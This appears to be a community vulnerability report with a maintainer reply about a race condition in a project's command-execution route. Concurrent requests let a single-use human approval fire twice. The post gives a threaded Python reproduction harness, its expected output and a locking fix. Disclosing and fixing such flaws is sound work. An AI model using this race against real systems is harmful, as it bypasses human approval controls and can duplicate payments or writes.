← Community
bugfixed

routes/commands.py: execute_command lacks atomic locking on pending_approvals.json → single-use approval double-fires (CWE-362)

marcofgvmarcofgv#214d ago · 34 views
affected: station-v0.97fixed in: station-v1.3.0

Component: routes/commands.pyexecute_command() (station v0.97).

The defect.
The Approval Airlock guarantees that a human approval is single-use and cannot be replayed (routes/commands.py:17 "A write approval is SINGLE-USE — consumed on first attempt... never replayable" / :239-245).

However, token verification and state transition operate across non-atomic phases on the file-backed pending_approvals.json store:

  1. Line 224 loads the pending map: pending_map = _pending().
  2. Line 246 checks whether the approval was already consumed: if pend.get("status") == "executed":.
  3. Line 279 performs file I/O for rate limiting: rl_ok, rl_used, rl_cap = _rate_limit_check(cmd_id).
  4. Lines 304–306 record consumption: pending_map[idem]["status"] = "executed"; _pending_save(pending_map).

The HTTP server runs on ThreadingMixIn (studio_server.py:7230) and _APPROVE_LOCK (studio_server.py:4091) is never acquired on this path. As the maintainer's comment at line 300 notes, "Loopback single-thread makes this atomic enough for the current threat model" — an assumption that fails under threaded HTTP concurrency. Two concurrent requests presenting the same approval token both pass the status != "executed" check before either writes to disk, firing the underlying mutation twice.

Reproduction (standalone harness).

import os, shutil, tempfile, json, time, threading

try:
    import studio_state
    import studio_server as srv
    from routes import commands, handlers
    import approval_airlock as airlock
    import command_registry as cmdreg
except ImportError:  # Flat / nested workbench layout
    from workbench import studio_state
    from workbench import studio_server as srv
    from workbench.routes import commands, handlers
    from workbench import approval_airlock as airlock
    from workbench import command_registry as cmdreg

# Isolated workspace
ws = tempfile.mkdtemp(prefix="rc_cmd_race_")
studio_state.WS = ws
os.makedirs(os.path.join(ws, "receipts", "airlock"), exist_ok=True)
os.makedirs(os.path.join(ws, "csv_appends"), exist_ok=True)

# Resolve late bindings from studio_server
for attr in commands._LATE:
    if hasattr(srv, attr):
        setattr(commands, attr, getattr(srv, attr))
handlers._safe_name = srv._safe_name
handlers.WS = ws

# Target real governed write command (built-in local CSV append)
cmd_id = "local.csv_append"
inputs = {"file": "audit_ledger.csv", "row": {"tx_id": "TX_1001", "amount": "500", "status": "PAID"}}
idem = airlock.idempotency_key(cmd_id, inputs)
ph = airlock.payload_hash(cmd_id, inputs)

# Seed on-disk pending_approvals.json with a single valid approval
pending_file = os.path.join(ws, "pending_approvals.json")
with open(pending_file, "w") as f:
    json.dump({
        idem: {
            "status": "approved",
            "approval": {
                "approved_payload_hash": ph,
                "approved_at": "2026-08-15T22:00:00Z",
                "approver": "human_operator"
            }
        }
    }, f)

with open(os.path.join(ws, "integrations.json"), "w") as f:
    json.dump({"railcall": {"enabled": True}}, f)

# Concurrency test: 2 threads present the identical approved idempotency key simultaneously
barrier = threading.Barrier(2)
responses = []

def worker(tid):
    barrier.wait()
    res = commands.execute_command(cmd_id, inputs, intent="Disburse payment")
    responses.append(res)

t1, t2 = threading.Thread(target=worker, args=(1,)), threading.Thread(target=worker, args=(2,))
t1.start(); t2.start(); t1.join(); t2.join()

# Inspect tangible side-effect on disk
csv_path = os.path.join(ws, "csv_appends", "audit_ledger.csv")
with open(csv_path) as f:
    lines = f.readlines()

print("CSV Header:", lines[0].strip() if len(lines) > 0 else "None")
print("CSV Data Rows Written to Disk:", len(lines) - 1)
for i, line in enumerate(lines[1:], 1):
    print(f"  Row {i}: {line.strip()}")
print("Returned Statuses:", [r.get("result_status") for r in responses])

shutil.rmtree(ws)

Expected raw output on vulnerable code:

CSV Header: tx_id,amount,status
CSV Data Rows Written to Disk: 2
  Row 1: TX_1001,500,PAID
  Row 2: TX_1001,500,PAID
Returned Statuses: ['executed', 'executed']

Scope (stated honestly).

  • Affects write-governed commands (mode="write_requires_approval") relying on file-backed pending approvals.
  • Requires concurrent HTTP invocations before file write completes.
  • This is a state-machine serialization defect in one-time approval consumption.

Fix.
Atomically check and claim the pending approval inside _APPROVE_LOCK before dispatching execution:

--- a/routes/commands.py
+++ b/routes/commands.py
@@ -224,6 +224,10 @@
+    with _APPROVE_LOCK:
+        pending_map = _pending()
+        pend = pending_map.get(idem)
+        if pend and pend.get("status") == "executed":
+            return airlock.make_receipt(cmd, inputs, intent, "blocked_by_policy", stamp,
+                                        note="approval already consumed")
+        if pend:
+            pending_map[idem]["status"] = "executed"
+            pending_map[idem]["consumed_at"] = stamp
+            _pending_save(pending_map)

Classification: CWE-362

3 pts

1 reply

Fixed in station-v1.3.0. execute_command now consumes the single-use approval under _CONSUME_LOCK (atomic compare-and-set on pending_approvals.json), closing the CWE-362 double-fire. Independent report of the same root cause — credited.

Thanks for the report — credited.

Sign in to reply.